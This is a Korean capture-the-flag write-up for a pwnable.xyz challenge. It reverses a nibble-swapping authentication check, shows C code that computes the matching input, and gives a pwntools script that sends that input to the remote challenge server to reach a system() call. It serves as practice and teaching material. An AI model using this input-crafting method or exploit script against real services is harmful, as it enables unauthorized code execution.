How to Exploit
v4가 4이고 auth(&s)가 1을 반환하면 system함수를 호출할 수 있다.
auth 함수를 보면 for문을 돌며 복잡한 계산으로 s1을 만들고 그 s1과 s2의 값이 같으면 1을 반환한다. s2는 IDA에서 값을 볼 수 있다. 그렇다면 우리는 auth의 인자인 a1(=s)를 조작해서 s1을 s2와 동일한 값을 가지도록 하자.
Design the Payload
- Calculate a1
((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i))
: 이는 *(a1+i)
의 상위 4바이트와 하위 4바이트를 서로 바꾸는 것이다.
#include<cstdio>
int main(void){
unsigned char s2[] = {0x11, 0xde, 0xcf, 0x10, 0xdf, 0x75, 0xbb, 0xa5,
0x43, 0x1e, 0x9d, 0xc2, 0xe3, 0xbf, 0xf5, 0xd6,
0x96, 0x7f, 0xbe, 0xb0, 0xbf, 0xb7, 0x96, 0x1d,
0xa8, 0xbb, 0xa, 0xd9, 0xbf, 0xc9, 0xd, 0xff};
unsigned char main[] = {0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x50,
0x64, 0x48, 0x8b, 0x04, 0x25, 0x28, 0x00, 0x00,
0x00, 0x48, 0x89, 0x45, 0xf8, 0x31, 0xc0, 0xe8,
0x24, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x45, 0xc0};
int i, j;
unsigned char a1[32];
unsigned char s1[32];
for(i=0;i<32;i++){
unsigned char x = s2[i]^main[i];
unsigned char h = x/16;
unsigned char l = x%16;
a1[i] = l*16+h;
}
for(i=0;i<32;i++){
printf("\\x%x", a1[i]);
}
}
Exploit Code
from pwn import *
#p=process('./challenge')
p=remote('svc.pwnable.xyz', 30031)
s = '\x44\x69\x64\x5f\x79\x6f\x75\x5f\x72\x65\x61\x6c\x6c\x79\x5f\x6d\x69\x73\x73\x5f\x74\x68\x65\x5f\xc8\x54\x5f\x62\x7f\x44\x84\xf3'
p.sendlineafter('> ', '1')
p.sendlineafter('name: ', s)
p.sendlineafter('> ', '4')
p.interactive()
Capture The Flag
'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글
Welcome (0) | 2020.03.07 |
---|---|
Two Targets - 2 (0) | 2020.03.07 |
TLSv00 (0) | 2020.03.07 |
Sub (0) | 2020.03.07 |
Note (0) | 2020.03.07 |